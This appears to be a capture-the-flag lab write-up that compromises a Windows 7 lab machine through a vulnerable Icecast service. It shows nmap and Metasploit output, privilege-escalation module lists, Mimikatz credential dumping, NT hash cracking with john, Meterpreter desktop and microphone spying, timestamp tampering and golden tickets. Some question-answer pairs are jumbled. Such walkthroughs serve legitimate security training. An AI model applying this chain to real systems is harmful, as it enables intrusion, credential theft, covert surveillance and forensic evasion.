Once the scan completes, we'll see a number of interesting ports open on this machine. As you might have guessed, the firewall has been disabled (with the service completely shutdown), leaving very little to protect this machine. One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?
# Nmap 7.91 scan initiated Mon Nov 30 19:10:47 2020 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.133.153 Nmap scan report for 10.10.133.153 Host is up (0.034s latency). Not shown: 65524 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable 8000/tcp open http Icecast streaming media server | http-methods: |_ Supported Methods: GET |_http-title: Site doesn't have a title (text/html). 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49159/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Nov 30 19:12:48 2020 -- 1 IP address (1 host up) scanned in 121.07 seconds
There was also port 3389/tcp but is doesn't show up every time.
What service did nmap identify as running on port 8000? (First word of this service)
Read nmap scan result.
What does Nmap identify as the hostname of the machine? (All caps for the answer)
Now that we've identified some interesting services running on our target machine, let's do a little bit of research into one of the weirder services identified: Icecast. Icecast, or well at least this version running on our target, is heavily flawed and has a high level vulnerability with a score of 7.5 (7.4 depending on where you view it). What type of vulnerability is it? Use https://www.cvedetails.com for this question and the next.
What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000
After Metasploit has started, let's search for our target exploit using the command 'search icecast'. What is the full path (starting with exploit) for the exploitation module? This module is also referenced in 'RP: Metasploit' which is recommended to be completed prior to this room, although not entirely necessary.
Run the command from the question.
Following selecting our module, we now have to check what options we have to set. Run the command show options. What is the only required setting which currently is blank?
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.133.153 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 8000 yes The target port (TCP)
meterpreter > sysinfo Computer : DARK-PC OS : Windows 7 (6.1 Build redacted, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows
Now that we know some of the finer details of the system we are working with, let's start escalating our privileges. First, what is the architecture of the process we're running?
From previous command output.
Running the local exploit suggester will return quite a few results for potential escalation exploits. What is the full path (starting with exploit/) for the first returned exploit?
1 2 3 4 5 6 7 8 9 10 11 12 13 14
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.133.153 - Collecting local exploits for x86/windows... [*] 10.10.133.153 - 35 exploit checks are being tried... [+] 10.10.133.153 - exploit/redacted: The target appears to be vulnerable. nil versions are discouraged and will be deprecated in Rubygems 4 [+] 10.10.133.153 - exploit/windows/local/ikeext_service: The target appears to be vulnerable. [+] 10.10.133.153 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 10.10.133.153 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] 10.10.133.153 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [+] 10.10.133.153 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.133.153 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.133.153 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable. [+] 10.10.133.153 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
Now that we've set our session number, further options will be revealed in the options menu. We'll have to set one more as our listener IP isn't correct. What is the name of this option?
We can now verify that we have expanded permissions using the command SeTakeOwnershipPrivilege. What permission listed allows us to take ownership of files?
In order to interact with lsass we need to be 'living in' a process that is the same architecture as the lsass service (x64 in the case of this machine) and a process that has the same permissions as lsass. The printer spool service happens to meet our needs perfectly for this and it'll restart if we crash it! What's the name of the printer service?
Mentioned within this question is the term 'living in' a process. Often when we take over a running program we ultimately load another shared library into the program (a dll) which includes our malicious code. From this, we can spawn a new thread that hosts our shell.
Run this command now. What is Dark's password? Mimikatz allows us to steal this password out of memory even without the user 'Dark' logged in as there is a scheduled task that runs the Icecast as the user 'Dark'. It also helps that Windows Defender isn't running on the box ;) (Take a look again at the ps list, this box isn't in the best shape with both the firewall and defender disabled)
$ john hash --wordlist=/usr/share/wordlists/passwords/rockyou.txt --format=nt
What command allows us to dump all of the password hashes stored on the system? We won't crack the Administrative password in this case as it's pretty strong (this is intentional to avoid password spraying attempts)
While more useful when interacting with a machine being used, what command allows us to watch the remote user's desktop in real time?
Check the help command.
How about if we wanted to record from a microphone attached to the system?
Check the help command.
To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? Don't ever do this on a pentest unless you're explicitly allowed to do so! This is not beneficial to the defending team as they try to breakdown the events of the pentest after the fact.
Check the help command.
Mimikatz allows us to create what's called a golden ticket, allowing us to authenticate anywhere with ease. What command allows us to do this?
Golden ticket attacks are a function within Mimikatz which abuses a component to Kerberos (the authentication system in Windows domains), the ticket-granting ticket. In short, golden ticket attacks allow us to maintain persistence and authenticate as any user on the domain.